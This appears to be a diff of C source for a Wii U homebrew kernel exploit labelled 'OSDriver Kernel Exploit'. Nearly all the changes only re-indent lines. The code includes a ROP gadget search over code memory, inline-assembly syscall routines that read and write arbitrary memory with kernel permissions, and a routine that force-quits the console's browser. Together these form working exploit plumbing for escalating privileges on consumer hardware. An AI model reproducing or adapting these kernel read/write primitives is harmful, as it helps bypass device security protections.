OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); + OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); + OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); + OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); - //Restart system to get lib access - int fd = IM_Open(); - void *mem = OSAllocFromSystem(0x100, 64); - memset(mem, 0, 0x100); - //set restart flag to force quit browser - IM_SetDeviceState(fd, mem, 3, 0, 0); - IM_Close(fd); - OSFreeToSystem(mem); - //wait a bit for browser end - wait(0x1FFFFFFF); + //Restart system to get lib access + int fd = IM_Open(); + void *mem = OSAllocFromSystem(0x100, 64); + memset(mem, 0, 0x100); + //set restart flag to force quit browser + IM_SetDeviceState(fd, mem, 3, 0, 0); + IM_Close(fd); + OSFreeToSystem(mem); + //wait a bit for browser end + wait(0x1FFFFFFF); } void drawString(unsigned int coreinit_handle, int x, int y, char * string) { - unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); - OSScreenPutFontEx(0, x, y, string); - OSScreenPutFontEx(1, x, y, string); + unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); + OSScreenPutFontEx(0, x, y, string); + OSScreenPutFontEx(1, x, y, string); } void fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a) { - unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - uint32_t num = (r << 24) | (g << 16) | (b << 8) | a; - OSScreenClearBufferEx(0, num); - OSScreenClearBufferEx(1, num); + unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); + uint32_t num = (r << 24) | (g << 16) | (b << 8) | a; + OSScreenClearBufferEx(0, num); + OSScreenClearBufferEx(1, num); } void flipBuffers(unsigned int coreinit_handle) { - void(*DCFlushRange)(void *buffer, uint32_t length); - unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - //Grab the buffer size for each screen (TV and gamepad) - int buf0_size = OSScreenGetBufferSizeEx(0); - int buf1_size = OSScreenGetBufferSizeEx(1); - //Flush the cache - DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size); - DCFlushRange((void *)0xF4000000, buf0_size); - //Flip the buffer - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); + void(*DCFlushRange)(void *buffer, uint32_t length); + unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); + OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); + unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); + //Grab the buffer size for each screen (TV and gamepad) + int buf0_size = OSScreenGetBufferSizeEx(0); + int buf1_size = OSScreenGetBufferSizeEx(1); + //Flush the cache + DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size); + DCFlushRange((void *)0xF4000000, buf0_size); + //Flip the buffer + OSScreenFlipBuffersEx(0); + OSScreenFlipBuffersEx(1); } void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos) { - int i; - for(i=0;i<2;i++) - { - drawString(coreinit_handle, 0,pos,buf); - flipBuffers(coreinit_handle); - } + int i; + for(i=0;i<2;i++) + { + fillScreen(coreinit_handle, 0,0,0,0); + drawString(coreinit_handle, 0,pos,buf); + flipBuffers(coreinit_handle); + } } void setupOSScreen(unsigned int coreinit_handle) { - void(*OSScreenInit)(); - unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); + void(*OSScreenInit)(); + unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); + unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); - //Call the Screen initilzation function. - OSScreenInit(); - //Grab the buffer size for each screen (TV and gamepad) - int buf0_size = OSScreenGetBufferSizeEx(0); - int buf1_size = OSScreenGetBufferSizeEx(1); - //Set the buffer area. - OSScreenSetBufferEx(0, (void *)0xF4000000); - OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); - //Clear both framebuffers. - int ii; - for (ii = 0; ii < 2; ii++) - { - fillScreen(coreinit_handle, 0,0,0,0); - flipBuffers(coreinit_handle); - } - printOSScreenMsg(coreinit_handle, "OSDriver Kernel Exploit",0); + //Call the Screen initilzation function. + OSScreenInit(); + //Grab the buffer size for each screen (TV and gamepad) + int buf0_size = OSScreenGetBufferSizeEx(0); + int buf1_size = OSScreenGetBufferSizeEx(1); + //Set the buffer area. + OSScreenSetBufferEx(0, (void *)0xF4000000); + OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); + //Clear both framebuffers. + int ii; + for (ii = 0; ii < 2; ii++) + { + fillScreen(coreinit_handle, 0,0,0,0); + flipBuffers(coreinit_handle); + } + printOSScreenMsg(coreinit_handle, "OSDriver Kernel Exploit",0); } void exitOSScreen(unsigned int coreinit_handle) { - void (*_Exit)(); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); - //exit only works like this - int ii; - for(ii = 0; ii < 2; ii++) - { - fillScreen(coreinit_handle, 0,0,0,0); - flipBuffers(coreinit_handle); - } - _Exit(); + void (*_Exit)(); + OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); + //exit only works like this + int ii; + for(ii = 0; ii < 2; ii++) + { + fillScreen(coreinit_handle, 0,0,0,0); + flipBuffers(coreinit_handle); + } + _Exit(); } void callSysExit(unsigned int coreinit_handle, void *sysFunc) { - void*(*OSAllocFromSystem)(uint32_t size, int align); - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); - int32_t (*OSResumeThread)(void *thread); - int (*OSIsThreadTerminated)(void *thread); + void*(*OSAllocFromSystem)(uint32_t size, int align); + bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); + int32_t (*OSResumeThread)(void *thread); + int (*OSIsThreadTerminated)(void *thread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); + OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20); - void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8); + uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20); + void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8); - OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A); - OSResumeThread(thread1); - while(OSIsThreadTerminated(thread1) == 0) - { - asm volatile ( - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - ); - } + OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A); + OSResumeThread(thread1); + while(OSIsThreadTerminated(thread1) == 0) + { + asm volatile ( + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + ); + } } /* Simple memcmp() implementation */ int memcmp(void *ptr1, void *ptr2, uint32_t length) { - uint8_t *check1 = (uint8_t*) ptr1; - uint8_t *check2 = (uint8_t*) ptr2; - uint32_t i; - for (i = 0; i < length; i++) - { - if (check1[i] != check2[i]) return 1; - } + uint8_t *check1 = (uint8_t*) ptr1; + uint8_t *check2 = (uint8_t*) ptr2; + uint32_t i; + for (i = 0; i < length; i++) + { + if (check1[i] != check2[i]) return 1; + } - return 0; + return 0; } void* memcpy(void* dst, const void* src, uint32_t size) { - uint32_t i; - for (i = 0; i < size; i++) - ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; - return dst; + uint32_t i; + for (i = 0; i < size; i++) + ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; + return dst; } /* Find a gadget based on a sequence of words */ void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) { - uint32_t *ptr; + uint32_t *ptr; - /* Search code before JIT area first */ - for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } + /* Search code before JIT area first */ + for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) + { + if (!memcmp(ptr, &code[0], length)) return ptr; + } - /* Restart search after JIT */ - for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } + /* Restart search after JIT */ + for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) + { + if (!memcmp(ptr, &code[0], length)) return ptr; + } - OSFatal("Gadget not found!"); - return (void*)0; + OSFatal("Gadget not found!"); + return (void*)0; } /* Read a 32-bit word with kernel permissions */ uint32_t __attribute__ ((noinline)) kern_read(const void *addr) { - uint32_t result; - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "li 5,0\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%1\n" - "li 0,0x3400\n" - "mr %0,1\n" - "sc\n" - "nop\n" - "mr 1,%0\n" - "mr %0,3\n" - : "=r"(result) - : "b"(addr) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); + uint32_t result; + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "li 5,0\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%1\n" + "li 0,0x3400\n" + "mr %0,1\n" + "sc\n" + "nop\n" + "mr 1,%0\n" + "mr %0,3\n" + : "=r"(result) + : "b"(addr) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); - return result; + return result; } /* Write a 32-bit word with kernel permissions */ void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) { - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "mr 5,%1\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%0\n" - "mr %1,1\n" - "li 0,0x3500\n" - "sc\n" - "nop\n" - "mr 1,%1\n" - : - : "r"(addr), "r"(value) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "mr 5,%1\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%0\n" + "mr %1,1\n" + "li 0,0x3500\n" + "sc\n" + "nop\n" + "mr 1,%1\n" + : + : "r"(addr), "r"(value) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); }